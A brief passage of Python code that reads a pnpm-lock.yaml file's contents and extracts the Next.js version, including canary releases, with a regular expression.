elif lockfile == "pnpm-lock.yaml":
match = re.search(r'next@([0-9.]+(?:-canary\.\d+)?)', content)
if match:
version = match.group(1)